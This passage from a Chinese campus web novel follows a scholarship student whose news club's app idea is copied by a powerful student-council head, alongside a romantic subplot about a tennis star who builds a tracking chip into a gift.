温绒:[那我们以后在政府那边给软件办手续是不是也很难?] 张麟:[有钱就好办,这些手续上做人情花出去的钱比开发的钱要多得多。] 纤细的手落在键盘上, 指尖迟迟无法摁下字母。 过会儿,张麟又发来消息:[没关系,创业哪有不碰壁的,我跟他们都说好了, 每个人出一点,再去拉一点投资,应该差不多。] 睡前温绒重新看一遍系统的专属商城,确定没有可以兑换钱的项目,无奈入睡。 第二天他起个大早, 脑子经过一夜的沉浸更加清醒。 软件这件事是自己提出来的,学长们出钱出力,自己也不能什么都不做。 温绒在笔记本上记下今日计划:上完课就找时野问一问签名和以后入驻软件的事。 然而在食堂吃早饭时,这个计划被取消。 起因是坐在他附近的几个男生聊天。 “你们有没有觉得时哥最近有点不对劲。” “你也发现了?” “嗯嗯。下个月就要公开赛了吧,网球场上都没见到他人,他不训练吗?” “好像在忙什么事,沙袋也不打了。” “何止啊,他最近像鬼上身了。我昨天本来有事情要给他汇报,看到他那表情,我都不敢说话。” 温绒的课跟时野的课大多数时候都是重合的,下午两人正好在一间教室,上课时他特地注意时野的方向,时野低着头没听课,时不时蹙眉,确实像是烦恼的样子,完全印证了那几个男生说的话。 轰隆隆。 温绒走出教学楼时被雷声吸引,仰头望天,看见远处已经乌漆麻黑,电光都无法穿越云层。 这样的情境,心情莫名低沉。 可能也因为计划失败。 温绒空着脑子走到食堂,随便拿了点东西填肚子。 离开时收到林启正的消息,让他帮忙带吃的去100室,温绒又倒回去多打包了些东西。 到校务楼时已经过去了半个小时,天更暗了,校务楼好像山里的古宅,光都被堵住,半点透不出来,一片死气沉沉。 温绒走一段漆黑的路,进入100室。 刚打开门,迎面有人扑过来,“啊啊啊啊,老幺你终于来了。” 温绒向后倒退两步差点摔倒,靠着门站直,“怎么了?” “吓死我了。” “出什么事了吗?” 林启正慌慌张张把他拉进去,立即关门,甚至反锁。 随即死死盯着窗户的方向道,“我刚刚一直觉得外面有人,但是开门出去看又见不到人影。” “应该没有人会来我们这里。张麟学长呢?”温绒环顾四周,“社长好像也不在,他们没在群里说不来。” 林启正捂脸,“他们要是在我就不会这么怕了,我怀疑咱们学校阳气太少,有鬼。” “……” 温绒沉默了两秒,“学长,你最近是不是看恐怖片了?” 林启正深受质疑,举着笔记本电脑给温绒看,“我没有骗人,你看,黒鸽论坛都有人看见过了。” 《校友们,昨晚我回校务楼拿东西,忽然听到奇怪的声音。》 感觉像是编出来的校园怪谈。 温绒给予林启正一点点尊重,“学长,我知道你没有骗人,你要不吃点东西压压惊。” 林启正显然意识到温绒拙劣的忽悠,坚持说:“不止一个人听见了,帖子里其他人也说的。” “学长,你的软件做好了吗?” “啊啊啊!” 有鬼是闷头一棍,软件更是少林寺下山闯关乱棍,林启正彻底没心思考虑鬼的问题,把笔记本电脑往桌上一扔,开盒子吃饭。 吃着吃着,撑了,但桌上还有很多,忍不住问:“你怎么带这么多?” “我以为张麟学长跟社长也在。” “嗷,他俩这次是真吵架,你别掺和。” 温绒闷闷“嗯”一声,其实心里不是滋味。 实在难受,他斟酌措辞,刚想问林启正有没有什么办法能让他们两个和好,林启正忽然跳起来,指着窗户惊叫,“啊——” 温绒往窗外瞧,隐隐约约似乎看见个人影,但外面天太暗了,除了一个人形轮廓,其他的什么都看不清。 他起身开门,意外地,外面并没有人。 温绒心里顿时惶恐。 不是怕鬼,是他本能地害怕危险。 这么一想,100室的位置太不安全了,在校务楼的后面,除了新闻社的四人,其他人根本不会过来,要是出了事故,估计要很久才会有人发现。 啪嗒。 温绒关上门,反锁,走到窗户前。 “啊啊啊老幺你怎么还站在那,快关窗帘。” 温绒不仅不关,还把脑袋抵上玻璃,减少反光。 但这样的效果微乎其微,他毫不犹豫摸上门旁边的开关。 啪嗒 关灯同时,林启正爆发出更大声的尖叫。 “学长别怕,我只是想看清楚外面是谁而已,玻璃有点反光。” 林启正给自己一巴掌,同时捂住嘴。 咚咚咚 突然,有人在外面敲门。 本来心绪平静的温绒也不免紧张起来。他刚才一直看着外面,没见到有谁靠近100室。 温绒深吸一口气,打开灯,迅速在目光所及抓个东西。 “谁?” “是我。” 深沉的声音突然飘进来,温绒微顿,把手里的东西放下,安慰林启正,“别慌,是时野。” 林启正举着鼠标当盾牌,“万一是鬼学时野的声音……老幺你别开门。” 温绒已经拉开门了。 时野很高,身形几乎可以把门全部挡了,一头灰毛很久没有处理过,根部有半截新长出来的黑色。 外面应该在下雨,平时乱飞的头发意外根根服帖,削减了时野身上的锐气。 刘海下,时野双目无神,下眼睑有明显的黑眼圈。 温绒回头给林启正说:“真的是时野,学长。” 时野问出了温绒进门时的同一个问题:“怎么了?” 林启正抖着舌头问:“刚刚是你在外面?” 时野表情微变,没来得及回答温绒先说:“是你的话就诚实回答,不然学长会以为是鬼。最近论坛上在流传鬼故事,他被吓到了。” “嗯。”时野闷声点头。 林启正这才松口气,放下鼠标,“那你在我们外面干嘛呀,吓死我了。” “我找温绒。” “哦,找老幺啊。”林启正更放松了,“那你不早说!” 温绒以为时野要生气了,然而时野沉着脸不理他,反而跟自己说:“我想跟你单独说点话。” 林启正非常懂事地站起,“我出去我出去。” 说完,端着碗就跑了出去,甚至到时野背后还给温绒使眼色:“记得签名”。 温绒:“……” “你们还没吃晚饭?” 温绒把吃的全部盖上,端到桌子另一边,“学长们还没吃。你找我有什么事吗?” 啪嗒。 一个金属小玩意落在桌上,时野在他对面坐下来,“莱昂给你的东西,我加了定位芯片,以后不会掉了。” 温绒一愣,不知道是不是他看错了,刚才时野拿出那东西的时候,手指上有些细密的伤痕,结了痂还没掉,像是近期伤到的。 联想到莱昂学长爱用的电钻,顿时大惊:不会是为了往里面加芯片才弄伤的吧? “你……” “怎么这幅表情,找到了莱昂给你的东西不开心吗?” “谢谢。” 温绒一时间也不知道该说什么了,他抿了抿唇,伸手把小玩意抓进手心—— 这一刹那,酥酥麻麻的感觉顺着皮肤涌上,手指被迫松开。 “噗嗤。” 时野终于不再装深沉,双手抱胸靠到椅背上,洋洋得意,“被电的感觉怎么样。” 温绒没有回答他,浅浅的眉静静舒展,只是揉了揉手掌。 安静。 应该说镇定得可怕。 时野高扬的嘴角落下。 熬了小半个月的夜好不容易往里面加了定位芯片,他每每幻想温绒收到这玩意的表情都忍不住兴奋。 刚刚看到温绒,又想起他说自己爱发脾气,时野就忍不住想让温绒也生气生气。 但是温绒没有。 开学时还特别爱哭的人,甚至连嘴巴都没有扁。 他的情绪好像真的比自己稳定。 不服气又心服口服的怪异感在心里交织,时野开始后悔折腾这一遭了。 “喂,我——” 刚想解释,温绒伸出手指把小玩意捏起来,嘴角拉开一条大大的弧,“它这么小,你竟然能在里面加芯片,好厉害。” 时野猛然一愣。 心脏像温绒手里的小玩意,被捏在指尖滚来滚去,越来越激动,跳动的声音在耳朵里乱叫。 他抬手捂住下半张脸,呼出声音,湿润的热气盈满掌心。 第60章 第 60 章 遥控器在手! “你是怎么弄的呀?” 时野算是得过大奖的人, 早早学会宠辱不惊,但温绒一问,莫名就想把花了小半个月研究出来的东西掏出来显摆! 思绪飘飘然, 双手搭在桌子上模拟加芯片时的动作,详细地给温绒讲莱昂那小玩意的构造。 100室内回响深沉的声音,也不知道过了多久,时野反应过来温绒一直没说话,不知道有没有听懂。 抬眼,对面温绒微微弯腰,脑袋靠近桌面, 细挺的鼻梁透着似玉似瓷的质地,时野忍不住倒吸口气,被温绒紧盯的手指都有些发软。 “你要是真的喜欢, 我带你去莱昂的工作室亲手试试。” “是101旁边那间吗?” “嗯。” “那不是学长社团专用的吗?我去的话其他人会不会有意见。” “不是社团专用,那是学校给莱昂的,你要去吗?现在他那屋子都归我管。”脱口而出后时野想起自己最近都在那屋打地铺, 里面乱七八糟,连忙说:“我最近住里面, 有点乱,如果你不介意的话……” 温绒猛然抬眸,浅浅的眸子满是光,“嗷!原来是你。” “什么?” “论坛上有人说夜里听见校务楼有奇怪的声音, 还以为是闹鬼。” “噗嗤”时野偏头用力压了压嘴角,“多大了还怕鬼。” “你手上的伤也是加芯片的时候弄的吗?” 时野一顿,迅速把手收到桌子下,“加芯片这么简单的事怎么可能弄伤。” “手受伤的话,网球公开赛怎么办?” “你还知道公开赛?”时野诧异。 卷长的眼睫快速眨了两下, “社长那天带我们去逛街,遇到抽奖,你猜奖品有什么。” 时野不爱逛街,也从来不参与什么抽奖,他都是给人发奖的那个,温绒一问,瞬间脑子空空。 “三等奖是金子,二等奖是1万块,一等奖是海岛游,奖励是不是很丰厚?” 温绒边说边笑,笑容过于灿烂,以至于这些对时野来说不算什么好东西的奖品都莫名珍贵起来。 “嗯。” “还有特等奖,一整个转盘上只有这么点缝的概率能中。”为了让他足够想象,温绒还特地举起手,在食指上点出一小截,比指甲盖还小,“你知道特等奖的奖品是什么吗?” “我……不知道。” “我中奖了呢,你真的不猜一下吗?” 时野思考了下,“钱?” “不是。” “那是什么?车?” “我给你个提示哦,是比海岛游更贵重的东西,跟网球有关。” “网球拍?” 温绒憋笑,“怎么还是猜不到啊。” 时野有种戳败感,但意外地不觉得生气,抿唇回答:“我没有中过奖。” “好吧。” 温绒摸手机,细白的指尖在屏幕上点了几下,指甲略长,敲出了砰砰的声音。 好像是时野的心跳声。 他现在都有些好奇了,什么神神秘秘的东西让自己一猜再猜。 短暂几秒钟像是弹簧一样被用力拉长,时间缓慢至极,时野吞咽唾液,嗓子干涩得厉害。 “还……”他顿了顿,“还没有找到吗?” “找到了!” 时野眼前忽然出现手机屏幕,看清上面是温绒时,还听到温绒说:“是你的亲笔签名的网球。” “主持人还要我合影留念了。” 时野陡然一愣,低头咬唇,再次抬手挡住下半张脸。 他没有预想到这个奖品,心情跟长久没见过的阳光的花似的枝叶乱颤,嗓子都有些抖,“那有……什么稀奇。” “可能你觉得那不算什么,但很多人是你的粉丝,就连交往100天纪念日都想要你签名的网球当礼物。” “交往礼物吗?” “嗯嗯,林启正学长的亲戚特别喜欢你,你能不能帮忙签一颗球给她当礼物吗?” 口口口□□往口口口口喜欢口口口口签名口口口口。 时野头昏脑胀地冲回别墅,到仓库里翻出整箱的网球,一边拿笔在上面签名一边想:这个莱昂给不了,所以只能我签个最漂亮的球给温绒!- 温绒早上在宿舍门口就遇到了时野。 一改昨天的疲惫,一米九几的人穿着弗罗里曼学院的黑色制服更显身姿挺拔高挑,头发根根立起,之前长出来的半截黑都染成了灰色。 他搓了搓头发走近,“这个,我在仓库里给你找的。” 温绒看着宛如春节拜年给人送礼的大盒子,好奇询问:“这是什么?” “签名啊,你不是想要?” 温绒翻开盖子,看到里面至少有八个,眉梢高扬。 两个是50万,八个有200万! 可是喜悦过后他又有点犹豫。 本来只想要一个的,现在给这么多,是好大一笔钱呢。 浅浅的眸子在眼睛里转一圈,小心翼翼瞥向时野,“那个,你现在有空吗?可以到我宿舍一趟吗?” 时野微红的脸顿时一僵,“就几个球而已,不用去吧。” “就几分钟!” 昨晚林启正化恐惧为动力交出了软件的初版,温绒安装在电脑上了,他想给时野看看,毕竟张麟学长说过时野很有钱,要是时野投资,张麟学长就不用那么烦恼了。 时野低头薅头发,烦躁地原地转个圈,回头来艰难拒绝,“还是不了。” “为什么?” “我单独去你宿舍不太好。” 温绒困惑了两秒,很想知道为什么去自己宿舍不太好,但还是强行咬住嘴告诉自己不可以问。看来时野投资意向并不高,要像昨晚一样夸赞时野,让他高兴,他高兴了说不定就会改变想法! 可是他不去自己宿舍要怎么夸? 温绒觉得这比昨晚有难度多了,绞尽脑汁想了半天,吐出句:“你好有礼貌。” 困惑转移到时野脸上。 温绒辨认出表情,知道自己没夸好,迅速接上新话题,“那我跟你口述,你看看你感不感兴趣。” “什么?” “我们打算做一个专业科普的软件,邀请弗罗里曼学院的学生为一些普通人提供帮助,就像上次爬山,你跟伊芙琳很轻松就帮到了那个女生。” “你有没有兴趣加入我们,就是投资。” “投……资?” “嗯嗯。” 时野表情骤冷,“所以你跟我说这么多,就是为了要我的钱?” 温绒觉得这句话有点不对,但又是事实,诚实点头,“我们的软件真的很有潜力,我电脑上有初版,你可以看看再决定要不要投资。” 时野垂眸,眼前人影分成三个,周遭一切如流水一般迅速流动。 温绒的声音瞬间都变成了别人的声音,时野身形缩小,变成小小的人,周围所有人都比他高,嘴巴吧啦吧啦拍着马屁,都在笑,只是那笑里满是欲望。 “时野?” 时野如梦初醒,瞧见卷长的眼睫像是扇子,开合之间扇出小股风,吹到自己脸上。 他用力咬舌,忍住怒火。 不要发脾气。 发了脾气出局的是自己,温绒转头就能找时竞,还有莱昂,还有梁子力学…… 熬了小半个月才勉强把温绒的那句“我讨厌你”消掉,不能再犯错。 “你要是不感兴趣就算了。” 时野用力提高嘴角,强制自己微笑,“我确实对软件这方面不怎么感兴趣,不过你要是需要投资的话我可以帮忙。” 温绒:“真的?” “嗯,但是你要答应我一件事。” “嗯嗯,你说。” “你得陪我打网球。” “啊?” 温绒惊讶地张开嘴,唇瓣干涩,好像开学时那样,再张一张就要裂开。 时野抿唇别开脸,“你这算求我帮忙,别人求我帮忙都是要先帮我做事的。” 温绒点头,“你说的有道理。” 又迟疑着问:“网球贵吗?” 时野歪头,“嗯?” “打球不是要买球跟球拍吗?我、我没有那些,万一球拍太贵了,我就……我……我只有莱昂学长给的两万五,要坚持到明年奖学金发放,我要省着点用的。” 时野嗤笑,心想我会少了你的网球拍?但细品温绒说的话,忍不住挑眉,“莱昂为什么给你钱?” “因为学长买了我的内裤啊。” 时野一愣,火气上涌,“他是变态吗,他为什么要买你的内裤。” “……” “……” 温绒的沉默让时野有些慌张,他恍然想起莱昂喜欢温绒的,自己现在做的这些并不合适。 可是一想到莱昂花钱买温绒的内裤,拿上内裤会做很多难以启齿的事情,心里就有个声音。 不许 不许不许不许不许不许不许不许不许不许不许不许不许不许不许不许不许不许不许不许不许不许。 “就是开学的时候啊,开学第二天你让学长买我穿过的内裤。” 不许不许不许不——? “…………” 死去的记忆重新回到时野的脑子,宛如晴天霹雳当头一砸,时野头晕目眩。 艹! 忘记这件事了。 不是,温绒为什么还要把这些不开心的往事提起来? 哦,是我提的。 时野用力搓了搓头发,“那天我我……” 温绒接上他的话,“没关系的,我现在完全理解你当时的行为。” 时野:“……” 他莫名不想被理解。 不对。 也不是不想被理解,不被理解就不能被原谅了。 但温绒理解了这件事,他莫名觉得烦躁。 时野咬唇,艰难开口,“那天对不起,我当时没办法控制情绪,有点生气,因为那个……那个味道散不掉。” “嗯嗯。” 温绒太理解的态度让他好不容易平复的情绪完全失控,“不是,为什么那个味道散不掉?” “对不起,福利院的肥皂是菜市场买的,里面添加了很多香精。”顿了下,“我以前的校服也一直有那个味道,有时候会弄得满教室都是,还被同学抱怨了。” 时野想象了下温绒坐在教室里被其他同学指指点点的场景,莫名觉得他好可怜。 手抬起来想抱抱他,理智在瞧见温绒微笑时回笼,迅速把两只手都揣进兜里,尴尬地别开脸,“总之你以后早上到网球社来一起晨练,网球拍这些社团里都有,运动服运动鞋也都有,不用你自己买。” “谢谢你!” “那个……” “嗯?” “你要是缺钱可以找我。” “你放贷款吗?” 时野:“……” “虽然我用不上,但是谢谢你了。在学校食宿都不用钱,我节省点用应该可以撑到明年。” 时野搓着头发走了。 温绒不太清楚他复杂的情绪是什么意思,不过所有事情迎刃而解总该是开心的,他吃完早饭就把网球给林启正送去,又给张麟说时野愿意投资的事情。 一切都在往好的方向发展! 最重要的是,温绒切实感觉通过这段时间的学习,自己已经变优秀了。 林启正学长有点懒,还没有毅力,所以要跟张麟学长一样时时监督他。 时野爱闹别扭,所以不能顺着他的话说,要自己掌握主导权,让他开心就什么事情都好办。 他抓住莱昂学长曾经说的“遥控器”- 下午上完课温绒收到新闻社群里的消息,让他早点到100室。 温绒:[要不要我带饭。] 张麟:[不用,社长叫了饭。] 那就是大家都在! 继上次吵架后还是第一次重聚,温绒猜想张锦程跟张麟和好了,去100室的一路上都是蹦着走的。 咔擦 温绒推开门,“学长!” 三人正坐在桌边开饭盒,看见温绒进来,脸上僵硬一瞬,连忙露出尴尬的笑容。 “来,坐下。”张麟拉温绒坐下,又给他递筷子,“你怎么说服时野投资的?” “嗷!他让我打网球,他就投资。” “你喜欢打网球吗?” “我没有试过,不过打网球能有腹肌吗?像时野那种肌肉。” 张麟面前笑了笑,“应该可以。” “真好,所有困难都解决了,大家也好好的,接下来我们继续努力。” 话音落下,空气莫名陷入寂静。林启正敲着碗,砰砰砰敲了几秒立马停住,不好意思的埋头刨饭。 温绒在三人脸上逡巡一圈,“发生什么事了?” 林启正吭哧吭哧干饭干出声音,张锦程也不说话。 温绒忐忑,“怎么了吗?” 张麟犹豫再三,还是开口,“老幺,软件不能做了。” 浅浅的眸子骤然紧缩,“为什么?” 张锦程:“你在上课可能没看蓝书,今天上架了一款专业科普的软件,已经邀请王艾伦这些人注册使用了。” 张麟憋了口气,“正好王艾伦最近很火,再有学校官方账号跟许多学长的联合推荐,这款软件的下载量几个小时就登陆各大软件排行榜第一。” 林启正双手握住筷子,用力往饭里一戳,木头筷子跟瓷碗敲出“碎裂”的响声。 “一定是李奥做的,他水平比我高,速度也比我快。”【你现在阅读的是 】 60-70 第61章 第 61 章 特招生很厉害 温绒一时间语塞, 嘴巴吸入凉气,直到舌头有些干燥,都无法吐出字。 本来以为一切顺利了, 突然落下一颗大石头,他没有任何应对之法。 几乎是本能地,回忆起自己曾经在黒鸽论坛里说起这件事,或许那个时候很多人就在默默准备了,然后抢先一步做出来。 所以当时不应该发帖子吗? 温绒怀疑了一下自己,随即摇头,不是的。 他当时敢发帖子, 本来就做好其他人会参与的准备的。只是相信林启正学长会做出最好的,还能通过软件找回信心。 温绒还在思索,张麟开口:“是我的问题, 我向学生会申请资金的时候把初版的软件上传上去了。刚才我下载了学校推的软件,基本上和我们做的那一版差不多,只是做了一些基础的修改。虽然不是源代码, 但我想复刻这种事对李奥来说很简单。” 温绒逐渐疏通的思路猛然一顿,“他们抄袭?” 林启正郁闷道, “抄袭又怎么样,联邦法律没有规定代码有著作权。而且学校的蓝书账号都在推这个软件,说明这事儿是周谢做的,咱们哪有本事跟他对抗。” 又是周谢。 这个人好像总是以很不堪的方式出现在他的世界。 温绒抿唇, 看每个人表情都不好看,其中最难过的大概是林启正,他是目前为止出力最多的人,早上自己把球给他时他还特别开心。 温绒拍拍脸颊强制自己的冷静。 过去遇到过那么多困难都挺过来了,这次一定可以, 而且这些也不是打在身上的拳头,只要没死就可以解决的。 温绒忽然想念莱昂学长了。 如果询问学长,学长一定会指出一条明路的。 学长…… 如果按照学长的思路来思考这个问题,那会是什么样的答案呢? 温绒脑子里两根弦突然连上,“那咱们赶快注册吧!” “注册什么?”张麟愣住。 “我当时做这个软件时,一方面想到普通人需要专业科普,另一方面就是想到很多学校的人比较想获取知名度。既然有人做出来,咱们就借这个机会当第一批用软件的人。好好回答别人的问题,获得更多更多的粉丝。” “老幺你说得对!”林启正回过味来,饭也不吃了,立马掏手机下载软件注册。 张麟见状,也摸手机打开软件。 100室内氛围似乎轻松起来,也有可能是温绒看到两位学长都不再烦闷,心情也跟着好了许多。 肚子咕噜叫一声,温绒也饿了,摸起筷子准备吃点东西,忽然看见对面张锦程手机往桌子上一放,筷子夹菜吃饭,并没有注册的意思。 温绒把他要夹的菜挪开,“社长你也注册。” “我不用。” “你要的!你得好好抓住这个机会打开自己的知名度,以后才能有人支持你做衣服。” 张锦程脸色微变,“不用。” 话音刚落,林启正把手机放下,“我也不下了。” 温绒回头看他,“怎么了?” “一打开软件发现跟我做的一模一样,想到现在它属于别人,我就咽不下这口气。” 张麟跟着放下手机,“你们都不注册,那我也不注册了。” 空气中活跃的小因子逐渐下坠,在地上铺出一片厚厚的东西,连带着这间小屋都再次变成浓稠,空气稀少到温绒感到呼吸不适。 他思考自己是不是没好好体谅学长们的心情,看到本该属于自己的东西或许会很难受。 温绒自责一番,又想了想,忍不住问:“那我们要出这口气吗?” “什么?”林启正身体斜靠向温绒的方向,“你声音太小了,没听清。” 温绒双手搭上膝盖,掌心用力搓着翘起的骨头,“要继续做原来的软件吗?” “他们既然用咱们的初版,而且现在也登上了下载榜第一,说明咱们的概念跟软件都没问题,咱们可以继续照这个方向做下去。至于投资——我去找时野谈一谈。” 张麟连忙道,“不可以,继续做了就是对抗学校。” 林启正也跟着说:“而且学校的都已经打开知名度了,咱们再做有什么意义,万一无人问津,岂不是更丢脸。” 既不注册使用,也不继续做原本的软件,所以学长们想要逃避吗? 温绒的目光再次在三人脸上逡巡,在他们的表情里感受到“肯定”,他们似乎真的准备逃避。 不可以—— 温绒本能的得到这个答案,马上打开蓝书,在收藏里找到自己曾经看过的视频,点击播放。 慷慨激昂的声音从喇叭传出:“18岁正是闯的年纪,什么都可以做,什么都——” “可以了,可以了。”还没播放完,张麟扶额,“老幺,关掉你的诈骗视频吧。” “我觉得可以听一听。” “这种无用的鸡汤没必要听的,听多了会变傻。” “我觉得——” 张锦程打断他,“关掉。” 温绒无奈,闷闷应一声正准备关,林启正忽然从椅子上窜起来:“不准关!” 张麟:“?” 张锦程:“?” “这件事不能就这么算了,我不要当孬种,你们也不许当,以后每天都跟我听一次。” 温绒:“啊?” “啊什么啊。”林启正抢走温绒的手机,点击播放,甚至把音量开到最大,并且扯着嗓门宣布:“我要做一个更好的软件出来。” 张麟扶额,“你突然发什么疯,你有没有想过做不出来怎么办。” 林启正喉头被堵,嘴巴维持张开的状态僵硬了几秒。 眼神瞥过温绒时,眼皮子一盖,彻底豁出去了:“做不出来就做不出来。每年默默无闻的软件那么多,我们悄悄失败又没人知道。”- “这个软件做的不错,政府那边反响也很好。刚才我跟你爸通了个电话,他打算年底专门为软件开一个研讨会,到时候你带着李奥一起参加。” 周谢“嗯”了一声。 “这是个好机会,你明年也要进政府任职了,带着成绩进去对你以后有帮助。” “谢谢校长。” 校长又说:“不过也别掉以轻心。毕竟这是专业科普的软件,记得让学生们好好回答问题,不要被其他人挑出错处。” “嗯,我明白的。” 电话挂断,学生会办公室再次恢复死寂。 手机屏幕映出周谢冷峻的脸,黑框眼镜黑黝黝的眸子冷得像是一块冰。 半晌,他从抽屉里夹出一支烟,点燃。 是心烦意乱的意思。 惯常这个时候,李奥都是要说点话来缓解气氛的,不过这次李奥比周谢更沉默。 他站在窗边,栗色的卷毛被阴天镀上一层灰,手上没有拿pad,只是静静的望着窗外。 两人就这样安静地站了许久,一支烟迅速见底,周谢弹了弹烟灰,“要不要出去度假?” “我还要给软件做维护。” “可以交给其他人做。” “刚才他们说有点问题,我先去处理一下。” 李奥有气无力地往外走,周谢叫住他,“我知道你不喜欢做这种事,但时间紧迫,只能套用他们的初版。” 李奥点一下头,“我明白的。” “这个软件的概念太好了,以后甚至有可能取代蓝书。这种掌控舆论风声的软件不能落在别人手里。” “……” “就算他们做出来了,也守不住。蓝书那边也不会乐意他们去抢占市场份额。” 李奥停下开门动作,忍不住哼笑一声,“表哥,你第1次主动跟我解释这么多。” 周谢唇角一顿,“我说的都是实话,一个特招生而已,要什么没什么。” “我觉得他很厉害。” 周谢一怔。 李奥嘴角挂上浅浅的笑容,“我们都小看那个特招生了。赵泽阳退学可能是意外,但提出这个概念,一定不是意外。” “他也只能想一想,就新闻社那几个人,光是拿软件的版号都要很久。” “嗯……”李奥不可置否,随即转身推门出去。 办公室再次安静了下来。 周谢脸颊两边骨头微动,随即冷静地把烟灰缸推到地上,那口闷在胸腔里的气终于吐了出去。 十二岁时,周谢的母亲死于一场车祸,肇事司机是一个亡命之徒,57岁,没有结婚,也没有财产。 警方最后以交通事故定案。 但周谢知道,母亲的死肯定有问题。 当时周谢还小,求着父亲不要再参加选举,他怕死,也怕父亲死。 但父亲说不行,如果停滞不前,不只是政敌找上门,就连支持他父亲选举的企业也会翻脸。 从政是一条危险的不归路。 父亲毅然决然走在上面,周谢劝说不了他,所以办完母亲的丧事后,他也决定走上这条路。 他失去母亲了,所以无论用什么手段都要保护父亲,同时保护自己。 那年开始,他学会接近黑暗,摒弃一些东西在利益里面拉扯,就算是依照父亲的安排跟时竞走近,对不起时野,也可以。 现在只是盗用新闻社开发的软件罢了……父亲马上要进行第3次选举,把这样大体量的软件握在手里可以少受一些牵制。 他没做错。 袖子里拳头紧握,细长的指骨捏出响声。 随后周谢面无表情地在电脑前坐下,打开黒鸽论坛,发送系统消息。 [经校方决定,取消林启正黄牌,温绒红牌转为黄牌。] 理由所有人都心照不宣,纷纷跑到温绒当初开的帖子下回复。 [女神的想法还是太超前了,早知道我也做个软件。] [对不起女神,我当初不该质疑你。] [女神,以后你就是我的明灯,我将永远追随你。] [女神,还有什么点子记得发出来,以后你说什么我做什么。] 第62章 第 62 章 死亡 温绒不怎么关注黒鸽论坛, 他晚上回去只收到黒鸽推送的系统消息。 林启正能取消掉黄牌也算是解决了一件心事,他努力拍拍脸颊,让自己开心起来。 可是嘴角才刚提起, 黒鸽再次推送消息,专业科普的软件大获成功,得到政府颁发的奖励,预计年底还要专门为此开一个研讨会。 努力扬起的嘴角又落了下去。 温绒忽然更能理解张锦程的心情了。 自己的东西被别人拿去获利,甚至连申冤的地方都没有。 他忍不住问系统,“哥哥,现在真的什么都做不了了吗?” 【在这个小说世界的设定里, 贵族可以轻松抢走普通人的一切。】 温绒无言。 这段时间过得太好,他都有些忘了,这是小说世界。 洗漱完后, 温绒坐上床,企图用蓝书转移注意力,可是没几分钟, 又深吸一口气,胸口闷得难受。 这里虽然是小说世界, 但自己是活生生的人,现在心里难受也是真的,新闻社的学长们也是真实存在的。 他又忍不住问:“可是学长们不也是贵族吗?为什么他们的东西也会被抢走。” 【这是大鱼吃小鱼的道理,贵族里也分三六九等, 像周谢时野莱昂这些就是最上层,新闻社这几个只是书里的炮灰,设置出来的目的就是为了给F4做垫脚石。】 温绒身子一晃,扶额,“可是这里不是提倡民主吗?” 【如果真的民主, 全校就不会只有你一个特招生了。】 啪啦啪啦 雨点突然落下,打得窗户直响。 温绒掀开被子起身走到窗前,玻璃隐隐约约映出模糊的影子。 尽管如此,他还是感觉得出来,玻璃里的人跟以前的自己完全不一样,就算是上辈子认识的老师来到这个世界,也认不出自己来。 他不禁想,如果别人来到弗罗里曼学院,会不会跟自己一样发生天翻地覆的变化。 上次爬山遇到的那个女孩说过,她也想进入弗罗里曼学院的。 温绒思绪发散,不知道怎么的,想到了莱昂学长。 可能以前有困难的时候,莱昂总是帮自己想办法吧。 学长说很多事情都没有对错,主要看自己站在哪一边。 如果自己是贵族里的上层阶级,享受别人给自己垫脚,也不会觉得有什么错。 可自己也不是,自己只是块石头而已,所以站在自己的角度,这些贵族的三六九等跟这个小说世界的设定是错的。 “哥哥。” 【嗯?】 “如果我被退学了会怎样。” 【宿主被退学的话就触发不了任务,会死的。】 死—— 温绒想到100室又被林启正学长弄得乱七八糟,自己要是死了没人打扫,打了个哆嗦。 滋 重新回到床上时,手机震动,来了新消息。 [时野申请添加你为好友,附言:明早五点我去接你。] 温绒通过好友,回复:[不用。]- 早上六点 雨季后第一缕阳光落在网球场上,青草翠绿翠绿。 时野特地把网球社其他人赶去学校统一的网球场,在自己的专属球场无聊转着球拍,目光时不时瞥向入口处。 又抬腕看表,蹙眉,怎么还没来? 他该直接去宿舍门口接温绒的。 “少爷,该训练了。”王西杰站在一边提醒。 “等会儿。” 时野摸手机打字:[怎么还没来?] 语气不好,删除删除 时野:[你迷路了?] 滋—— 温绒回复:[我正在来的路上。] 时野忍住催促他的欲望,把手机腕表都交给管家。 他要在温绒来之前先练起来,也不是要温绒看看自己打球的样子,就是单纯想展示一下网球社的实力,明年说不定温绒就转来网球社当副社长。 时野是这样想的,但跟王西杰打了一轮,网球场外依然没见到温绒的影子。 再练下去,温绒来只会看到累趴了的他。 时野给王西杰做个暂停的手势,给管家要手机再次跟温绒发消息:[你什么时候到?] 没有回复。 时野心想温绒不至于骗自己,可能是路上出了意外。 顿时心头一紧,直接给温绒打电话过去。 两声响后那边接起,“喂——” 同时附带嘈杂的背景音,还有许多人说话。 “你在哪?” “网球场呀,你不是让我来打网球吗。” 时野环顾四周,确定没见到温绒的人影,“我怎么没见到你?” “我也没见到你耶。” 温绒刚说完,有其他人的声音传来,“女神……温绒,你是新手,我先教你挥拍。” 如果没有听错,这好像是网球社其他成员的声音。 时野瞬间想出答案,“你跑错地方了。” “啊?” “你等着,我来接你。” 时野挂断电话。 如果不挂断,他想他又会发脾气。 时野把球拍扔给管家,一边搓着头发一边朝外走,迅速上车,轰鸣声在路上飘远。 学校的网球场距离他的别墅并不远,大概五六分钟车程。 在这五六分钟,暖风拂面,脑子逐渐冷静。 早上还是该去接温绒的,温绒那脑子的回路总是奇奇怪怪,跑错地方也情有可原。 是他的问题。 学校网球场。 尽管弗罗里曼学院财大气粗,但一切还是以实用好维护为主。露天的网球场经历风摧雨打和长久的使用,蓝色地毯上到处都是球印。 勉强能用,不过打网球最麻烦的莫过于没人捡球,对许多新手来说可以说是噩梦也不为过,不如时野那边配齐球童的方便。 时野靠近铁网就听见里面嘈杂的声音。 “你之前一点都没有学过网球?但是你打的很好,你比我们社长还有天赋。” “可是我刚才都没有接住球。” “很正常,我们社长也经常接不住球。” 旁人附和,“他世界第一都这样,你这样不丢脸。” “可是……我球拍都很难举起来。” “不是你的问题,是这个球拍太重了,谁的球拍啊?你用用我的,我的轻。” 被网球社围在中间的人穿了网球社的夏季运动服,短衣短裤,一双腿仿佛没照过太阳,比阳光还晃眼,笔直纤细,皮肤薄得能清晰看见筋骨。 不止是时野注意到了,所有人都目光都在脸跟腿之间上下逡巡,甚至因为视线错乱而身体摇晃,仿佛晕眩了。 时野控制住的情绪再次翻涌,莫名感到气愤,大步上前拨开人群。 “谁他妈——时、时哥。” 温绒回头,浅浅的眸子被阳光染成白金色,“你终于来了。” 终于……来了? 我都练一轮了还没等到你! 时野压着脾气问:“你怎么在这边?” 